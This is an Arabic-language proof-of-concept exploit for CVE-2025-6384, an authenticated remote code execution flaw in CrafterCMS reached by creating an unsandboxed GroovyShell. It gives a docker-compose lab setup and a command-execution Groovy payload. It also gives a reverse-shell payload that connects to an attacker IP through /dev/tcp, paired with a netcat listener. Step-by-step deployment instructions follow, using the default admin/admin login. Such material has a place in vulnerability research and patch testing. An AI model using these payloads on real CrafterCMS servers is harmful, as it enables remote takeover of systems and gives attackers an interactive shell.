
استغلال PoC لثغرة RCE موثقة في CrafterCMS عبر تجاوز ملعب Groovy (CVE-2025-6384)
إثبات مفهوم لثغرة تنفيذ الأوامر عن بُعد (RCE) مصادق عليها في CrafterCMS.
يمكن للمستخدم المصادق الذي لديه صلاحيات مطور تجاوز صندوق الحماية الخاص بنصوص Groovy في Crafter Studio لتحقيق تنفيذ الأوامر عن بُعد (RCE). يفشل صندوق الحماية في منع إنشاء مثيل جديد لـ GroovyShell، والذي يمكن استخدامه لإنشاء بيئة تنفيذ جديدة غير مقيدة.
يمكنك نشر مثيل ضعيف من CrafterCMS بسرعة للاختبار باستخدام ملفات Docker Compes الرسمية.
استنساخ مستودع docker-compose من CrafterCMS:
git clone https://github.com/craftercms/docker-compose.git
الانتقال إلى دليل بيئة التأليف:
cd docker-compose/authoring
تشغيل الحاويات. سيقوم هذا بتنزيل الصور اللازمة وبدء تشغيل حزمة CrafterCMS.
docker-compose up
(ملاحظة: قد تحتاج إلى sudo حسب تثبيت Docker لديك.)
الانتظار حتى يتم تهيئة الخدمات بالكامل. يمكنك الوصول إلى Crafter Studio على http://localhost:8080/studio.
adminadminبينما يقوم صندوق الحماية بحظر طرق التنفيذ المباشرة بشكل صحيح، فإنه يسمح بالحمولة التالية، والتي تنشئ غلاف Groovy جديد غير محميّ.
// File: /scripts/interceptors/pwn.groovy
def shell = new GroovyShell()
def command = "id" // <-- أمرك هنا
def result = shell.evaluate("'''${command}'''.execute().text")
// يتم طباعة المخرجات في سجلات الخادم
System.err.println("[RCE-PoC] " + result)
توضح هذه الحمولة تنفيذ أوامر كامل (RCE) عن طريق إنشاء صدفة عكسية تعود إلى جهاز يتحكم به المهاجم.
على جهازك، ابدأ مستمعًا (على سبيل المثال، باستخدام netcat) لاستقبال الاتصال الوارد:
nc -lvnp 4444
استخدم نص Groovy التالي كحمولة. تذكر استبدال <YOUR_IP> و <YOUR_PORT> بعنوان IP ومنفذ المستمع الخاصين بك.
// File: /scripts/interceptors/exploit.groovy
def attacker_ip = "<YOUR_IP>"
def attacker_port = "4444" // أو <YOUR_PORT>
def cmd = "bash -i >& /dev/tcp/" + attacker_ip + "/" + attacker_port + " 0>&1"
def shell = new GroovyShell()
// استخدام علامات اقتباس ثلاثية للتعامل مع سلسلة الأمر بسهولة
shell.evaluate("""
new ProcessBuilder("/bin/bash", "-c", "${cmd}").start()
""")
System.err.println("تم تنفيذ حمولة الصدفة العكسية.")
تسجيل الدخول إلى Crafter Studio (http://localhost:8080/studio) باستخدام بيانات الاعتماد الافتراضية (admin / admin).
الانتقال إلى Site Config -> Scripts.
النقر على Create/Edit Script تحت قسم "Groovy Scripts".
اختيار نوع نص سيتم تنفيذه، مثل Request Interceptor.
لصق حمولة PoC في محرر النصوص وحفظها.
تشغيل النص عن طريق زيارة أي صفحة على الموقع (مثل http://localhost:8080).
التحقق من سجلات الأخطاء القياسية للخادم لرؤية مخرجات الأمر.
docker-compose logs -f crafter
المخرجات المتوقعة:
GroovyShell: uid=1000(crafter) gid=1000(crafter) groups=1000(crafter)
هذه المادة لأغراض تعليمية وبحثية فقط. المؤلف ليس مسؤولاً عن أي سوء استخدام أو ضرر ناتج عن هذه المعلومات.
netcat